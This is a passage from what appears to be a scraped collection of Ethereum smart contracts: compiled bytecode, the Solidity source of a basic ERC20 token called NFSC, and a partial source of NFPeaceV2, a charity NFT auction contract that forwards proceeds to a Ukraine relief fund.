ffffffffffffffffffffff1681600181518110610fa957610fa86125fb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f84836040518363ffffffff1660e01b8152600401611040929190612092565b60006040518083038186803b15801561105857600080fd5b505afa15801561106c573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906110959190611bb6565b915050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110f757600080fd5b6111076111026106a5565b611917565b50600061111330610bd3565b9050600061112030610ae7565b9050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308460008061116e610bf9565b426040518863ffffffff1660e01b815260040161119096959493929190611f17565b6060604051808303818588803b1580156111a957600080fd5b505af11580156111bd573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111e29190611c6c565b5050506111ef6000611917565b505050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60046020528060005260406000206000915054906101000a900460ff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60026020528060005260406000206000915054906101000a900460ff1681565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611355576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134c90612037565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bc90611fd7565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114a39190612077565b60405180910390a3505050565b6000808314806114c05750600082145b156114ce57600090506114f8565b81836114da91906123b4565b90508183826114e99190612212565b146114f7576114f661253f565b5b5b92915050565b6000828211156115115761151061253f565b5b818361151d919061240e565b905092915050565b60008161153185610ae7565b1015611572576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156990611ff7565b60405180910390fd5b60001515600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515148015611622575060001515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b611661576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165890612057565b60405180910390fd5b61167361166d85610ae7565b836114fe565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116c76116c184610ae7565b8361194f565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117669190612077565b60405180910390a3600190509392505050565b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001151560036000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151480156118a15750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b156118d3576118d1600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611976565b505b80600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061194630600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112e5565b60019050919050565b6000818361195d91906121bc565b9050828110156119705761196f61253f565b5b92915050565b60006001600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b60006119ec6119e784612102565b6120dd565b90508083825260208201905082856020860282011115611a0f57611a0e61265e565b5b60005b85811015611a3f5781611a258882611aa1565b845260208401935060208301925050600181019050611a12565b5050509392505050565b600081359050611a58816127a4565b92915050565b600082601f830112611a7357611a72612659565b5b8151611a838482602086016119d9565b91505092915050565b600081359050611a9b816127bb565b92915050565b600081519050611ab0816127bb565b92915050565b600060208284031215611acc57611acb612668565b5b6000611ada84828501611a49565b91505092915050565b60008060408385031215611afa57611af9612668565b5b6000611b0885828601611a49565b9250506020611b1985828601611a49565b9150509250929050565b600080600060608486031215611b3c57611b3b612668565b5b6000611b4a86828701611a49565b9350506020611b5b86828701611a49565b9250506040611b6c86828701611a8c565b9150509250925092565b60008060408385031215611b8d57611b8c612668565b5b6000611b9b85828601611a49565b9250506020611bac85828601611a8c565b9150509250929050565b600060208284031215611bcc57611bcb612668565b5b600082015167ffffffffffffffff811115611bea57611be9612663565b5b611bf684828501611a5e565b91505092915050565b600060208284031215611c1557611c14612668565b5b6000611c2384828501611a8c565b91505092915050565b60008060408385031215611c4357611c42612668565b5b6000611c5185828601611a8c565b9250506020611c6285828601611a8c565b9150509250929050565b600080600060608486031215611c8557611c84612668565b5b6000611c9386828701611aa1565b9350506020611ca486828701611aa1565b9250506040611cb586828701611aa1565b9150509250925092565b6000611ccb8383611cef565b60208301905092915050565b6000611ce38383611ecf565b60208301905092915050565b611cf881612442565b82525050565b611d0781612442565b82525050565b6000611d188261214e565b611d228185612189565b9350611d2d8361212e565b8060005b83811015611d5e578151611d458882611cbf565b9750611d508361216f565b925050600181019050611d31565b5085935050505092915050565b6000611d7682612159565b611d80818561219a565b9350611d8b8361213e565b8060005b83811015611dbc578151611da38882611cd7565b9750611dae8361217c565b925050600181019050611d8f565b5085935050505092915050565b611dd281612454565b82525050565b611de181612497565b82525050565b6000611df282612164565b611dfc81856121ab565b9350611e0c8185602086016124a9565b611e158161266d565b840191505092915050565b6000611e2d6022836121ab565b9150611e388261268b565b604082019050919050565b6000611e506015836121ab565b9150611e5b826126da565b602082019050919050565b6000611e736017836121ab565b9150611e7e82612703565b602082019050919050565b6000611e966024836121ab565b9150611ea18261272c565b604082019050919050565b6000611eb9600b836121ab565b9150611ec48261277b565b602082019050919050565b611ed881612480565b82525050565b611ee781612480565b82525050565b611ef68161248a565b82525050565b6000602082019050611f116000830184611cfe565b92915050565b600060c082019050611f2c6000830189611cfe565b611f396020830188611ede565b611f466040830187611dd8565b611f536060830186611dd8565b611f606080830185611cfe565b611f6d60a0830184611ede565b979650505050505050565b60006020820190508181036000830152611f928184611d6b565b905092915050565b6000602082019050611faf6000830184611dc9565b92915050565b60006020820190508181036000830152611fcf8184611de7565b905092915050565b60006020820190508181036000830152611ff081611e20565b9050919050565b6000602082019050818103600083015261201081611e43565b9050919050565b6000602082019050818103600083015261203081611e66565b9050919050565b6000602082019050818103600083015261205081611e89565b9050919050565b6000602082019050818103600083015261207081611eac565b9050919050565b600060208201905061208c6000830184611ede565b92915050565b60006040820190506120a76000830185611ede565b81810360208301526120b98184611d0d565b90509392505050565b60006020820190506120d76000830184611eed565b92915050565b60006120e76120f8565b90506120f3828261250e565b919050565b6000604051905090565b600067ffffffffffffffff82111561211d5761211c61262a565b5b602082029050602081019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b60006121c782612480565b91506121d283612480565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156122075761220661256e565b5b828201905092915050565b600061221d82612480565b915061222883612480565b9250826122385761223761259d565b5b828204905092915050565b6000808291508390505b600185111561228d578086048111156122695761226861256e565b5b60018516156122785780820291505b80810290506122868561267e565b945061224d565b94509492505050565b60006122a182612480565b91506122ac8361248a565b92506122d97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846122e1565b905092915050565b6000826122f157600190506123ad565b816122ff57600090506123ad565b8160018114612315576002811461231f5761234e565b60019150506123ad565b60ff8411156123315761233061256e565b5b8360020a9150848211156123485761234761256e565b5b506123ad565b5060208310610133831016604e8410600b84101617156123835782820a90508381111561237e5761237d61256e565b5b6123ad565b6123908484846001612243565b925090508184048111156123a7576123a661256e565b5b81810290505b9392505050565b60006123bf82612480565b91506123ca83612480565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156124035761240261256e565b5b828202905092915050565b600061241982612480565b915061242483612480565b9250828210156124375761243661256e565b5b828203905092915050565b600061244d82612460565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006124a282612480565b9050919050565b60005b838110156124c75780820151818401526020810190506124ac565b838111156124d6576000848401525b50505050565b600060028204905060018216806124f457607f821691505b60208210811415612508576125076125cc565b5b50919050565b6125178261266d565b810181811067ffffffffffffffff821117156125365761253561262a565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f496e73756666696369656e742062616c616e63652e0000000000000000000000600082015250565b7f496e73756666696369656e7420616c6c6f77616e63652e000000000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f426c61636b6c6973746564000000000000000000000000000000000000000000600082015250565b6127ad81612442565b81146127b857600080fd5b50565b6127c481612480565b81146127cf57600080fd5b5056fea26469706673582212204d1773598af167f54343efdf4435f4446e22f24575c18fc62b0d5e545f7c134d64736f6c63430008060033
[ 5 ]
0xf3871f565a6a216fbe0ea3cf806ab15a32830c1c
pragma solidity ^0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint8 public decimals = 5; uint256 public totalSupply_; constructor() public { totalSupply_ = 10000000000 * 10 ** uint256(decimals); balances[msg.sender] = totalSupply_ ; } function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract NFSCToken is ERC20, BasicToken { string public name = "New Food safety Chain"; string public symbol = "NFSC"; mapping (address => mapping (address => uint256)) internal allowed; struct ReleaseRecord { uint256 amount; // release amount uint256 releasedTime; // release time } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df578063313ce56714610264578063324536eb1461029557806366188463146102c057806370a082311461032557806395d89b411461037c578063a9059cbb1461040c578063d73dd62314610471578063dd62ed3e146104d6575b600080fd5b3480156100cb57600080fd5b506100d461054d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105eb565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c96106dd565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e7565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610aa1565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102a157600080fd5b506102aa610ab4565b6040518082815260200191505060405180910390f35b3480156102cc57600080fd5b5061030b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aba565b604051808215151515815260200191505060405180910390f35b34801561033157600080fd5b50610366600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d4b565b6040518082815260200191505060405180910390f35b34801561038857600080fd5b50610391610d93565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d15780820151818401526020810190506103b6565b50505050905090810190601f1680156103fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041857600080fd5b50610457600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e31565b604051808215151515815260200191505060405180910390f35b34801561047d57600080fd5b506104bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611050565b604051808215151515815260200191505060405180910390f35b3480156104e257600080fd5b50610537600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061124c565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105e35780601f106105b8576101008083540402835291602001916105e3565b820191906000526020600020905b8154815290600101906020018083116105c657829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561072457600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561077157600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107fc57600080fd5b61084d826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112d390919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108e0826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ec90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109b182600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112d390919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600160009054906101000a900460ff1681565b60025481565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610bcb576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c5f565b610bde83826112d390919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e295780601f10610dfe57610100808354040283529160200191610e29565b820191906000526020600020905b815481529060010190602001808311610e0c57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e6e57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ebb57600080fd5b610f0c826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112d390919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f9f826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ec90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006110e182600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ec90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156112e157fe5b818303905092915050565b600081830190508281101515156112ff57fe5b809050929150505600a165627a7a723058202fd9ae45fc915f0ed56fe5a79935b12775576566b72441edac319fc22a9bbdc60029
[ 38 ]
0xf387Ec20919c1Ba7824a79B446Ff9ef4EfB69740
// SPDX-License-Identifier: MIT pragma solidity ^0.8.11; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "./NFPeace.sol"; contract NFPeaceV2 is ERC165, IERC721Receiver, IERC1155Receiver, ReentrancyGuard { /// @notice The previous NFPeace (V1) contract. NFPeaceV2 fixes a potential exploit. /// @dev The V1 NFPeace contract NFPeace public constant NFPEACE_V1 = NFPeace(0x0000000011E48D382b4F627437A2bBAc3b10F90e); /// @notice Unchain (https://unchain.fund) is a charity project created by blockchain activists. Its goal is to break the chain of war which the Russian Federation started against Ukraine. /// @dev The wallet address of the humanitarian relief fund unchain.fund address payable public constant CHARITY_ADDRESS = payable(0x10E1439455BD2624878b243819E31CfEE9eb721C); /// @notice Minimum auction duration after a bid in seconds (15 minutes). /// @dev Minimum auction runtime in seconds after new bids uint32 public constant BIDDING_GRACE_PERIOD = 15 minutes; /// @notice Each bid has to increase by at least 10% /// @dev The minimum percentage increase per bid uint32 public constant BID_PERCENTAGE_INCREASE = 10; /// @dev The minimum value of an auction uint64 public constant DEFAULT_STARTING_PRICE = 0.05 ether; /// @dev The initial auction ID of the V2 NFPeace contract uint64 public initialAuctionId = 0; /// @dev The next auction ID uint64 public nextAuctionId = 0; struct Auction { address tokenContract; uint256 tokenId; address latestBidder; uint128 latestBid; uint64 startingPrice; // max ~18.44 Ether uint32 endTimestamp; // latest date is Sun Feb 07 2106 06:28:15 GMT (in 84 years) uint16 tokenERCStandard; uint8 tokenAmount; bool settled; } /// @dev Each auction is identified by an ID mapping(uint256 => Auction) private _auctions; /// @dev When the automatic refunds of previous bids fail, they are stored in here mapping(address => uint256) private _balances; /// @dev Emitted when an NFT is sent to the contract. event AuctionInitialised(uint64 indexed auctionId); /// @dev Emitted when a new bid is entered. event Bid(uint64 indexed auctionId, uint256 indexed bid, address indexed from); /// @dev Emitted when a new bid is entered within the BIDDING_GRACE_PERIOD. event AuctionExtended(uint64 indexed auctionId, uint256 indexed endTimestamp); /// @dev Emitted when an auction is settled, the NFT is sent to the winner and the funds sent to the charity. event AuctionSettled(uint64 indexed auctionId); /// @dev Set the initial tokenID. constructor () { initialAuctionId = NFPEACE_V1.nextAuctionId(); nextAuctionId = initialAuctionId; } /// @dev Get an Auction by its ID function getAuction (uint64 auctionId) public view returns ( address tokenContract, uint256 tokenId, address latestBidder, uint128 latestBid, uint64 startingPrice, uint32 endTimestamp, uint16 tokenERCStandard, uint8 tokenAmount, bool settled ) { // Proxy V1 auctions through to the V1 contract. if (auctionId < initialAuctionId) { return NFPEACE_V1.getAuction(auctionId); } Auction memory auction = _auctions[auctionId]; return ( auction.tokenContract, auction.tokenId, auction.latestBidder, auction.latestBid, auction.startingPrice, auction.endTimestamp, auction.tokenERCStandard, auction.tokenAmount, auction.settled ); } /// @dev The minimum value of the next bid for an auction. function currentBidPrice (uint64 auctionId) external view returns (uint128) { return _currentBidPrice(_auctions[auctionId]); } /// @dev Enter a new bid /// @param auctionId The Auction ID to bid on function bid (uint64 auctionId) external payable nonReentrant { Auction storage auction = _auctions[auctionId]; uint256 bidValue = msg.value; address bidder = msg.sender; require(bidValue >= _currentBidPrice(auction), "Minimum bid value not met."); require(block.timestamp <= auction.endTimestamp, "Auction is not active."); // Pay back previous bidder if (_hasBid(auction)) { if (!payable(auction.latestBidder).send(auction.latestBid)) { _balances[auction.latestBidder] += auction.latestBid; } } _maybeExtendTime(auctionId, auction); // Store the bid auction.latestBid = uint128(bidValue); auction.latestBidder = bidder; emit Bid(auctionId, bidValue, bidder); } /// @dev Settles an auction /// @param auctionId The Auction ID to claim. function settle (uint64 auctionId) external { Auction storage auction = _auctions[auctionId]; require(!auction.settled, "Auction already settled."); require(auction.endTimestamp > 0, "Auction does not exist."); require(block.timestamp > auction.endTimestamp, "Auction not complete."); if (_hasBid(auction)) { (bool success,) = CHARITY_ADDRESS.call{ value: auction.latestBid }(""); require(success, "Failed to forward funds"); } if (auction.tokenERCStandard == 721) { IERC721(auction.tokenContract).safeTransferFrom(address(this), auction.latestBidder, auction.tokenId, ""); } else if (auction.tokenERCStandard == 1155) { IERC1155(auction.tokenContract).safeTransferFrom(address(this), auction.latestBidder, auction.tokenId, auction.tokenAmount, ""); } // End the auction auction.settled = true; emit AuctionSettled(auctionId); } /// @dev Get the balance for an address. function getBalance (address _address) external view returns (uint256) { return _balances[_address]; } /// @dev Withdraw user balance in case automatic refund in bid failed. function withdraw () external { uint256 amount = _balances[msg.sender]; require(amount > 0, "No balance to withdraw."); // Set balance to zero because it could be called again in receive before send returns _balances[msg.sender] = 0; if (!payable(msg.sender).send(amount)) { _balances[msg.sender] = amount; } } /// @dev Hook for `saveTransferFrom` of ERC721 tokens to this contract /// @param from The address which previously owned the token /// @param tokenId The ID of the token being transferred /// @param data The custom starting price (set by a user) function onERC721Received( address, address from, uint256 tokenId, bytes calldata data ) public override returns (bytes4) { _initializeAuction(tokenId, 721, from, _getStartingPrice(data), 1); return IERC721Receiver.onERC721Received.selector; } /// @dev Hook for `saveTransferFrom` of ERC1155 tokens to this contract /// @param from The address which previously owned the token /// @param id The ID of the token being transferred /// @param value The amount of tokens being transferred /// @param data The custom starting price (set by a user) function onERC1155Received( address, address from, uint256 id, uint256 value, bytes calldata data ) public override returns (bytes4) { require(value < 256, "Too many tokens"); _initializeAuction(id, 1155, from, _getStartingPrice(data), uint8(value)); return IERC1155Receiver.onERC1155Received.selector; } /// @dev Hook for `safeBatchTransferFrom` of ERC1155 tokens to this contract /// @param operator The address which initiated the transfer /// @param from The address which previously owned the token /// @param ids An array containing ids of each token being transferred (order and length must match values array) /// @param values An array containing amounts of each token being transferred (order and length must match ids array) /// @param data The custom starting price (set by a user) function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external override returns (bytes4) { for (uint256 index = 0; index < ids.length; index++) { onERC1155Received(operator, from, ids[index], values[index], data); } return IERC1155Receiver.onERC1155BatchReceived.selector; } /// @dev Get the starting price based on default or user input. Warns users about out of range price. function _getStartingPrice (bytes calldata data) internal pure returns (uint64) { uint64 price = toUint64(data); return price > DEFAULT_STARTING_PRICE ? price : DEFAULT_STARTING_PRICE; } /// @dev Initializes an auction function _initializeAuction ( uint256 tokenId, uint16 tokenERCStandard, address tokenOwner, uint64 startingPrice, uint8 tokenAmount ) internal { _auctions[nextAuctionId] = Auction( msg.sender, // the NFT token contract tokenId, // the NFT token ID tokenOwner, // the token owner can claim for free if no one bids 0, 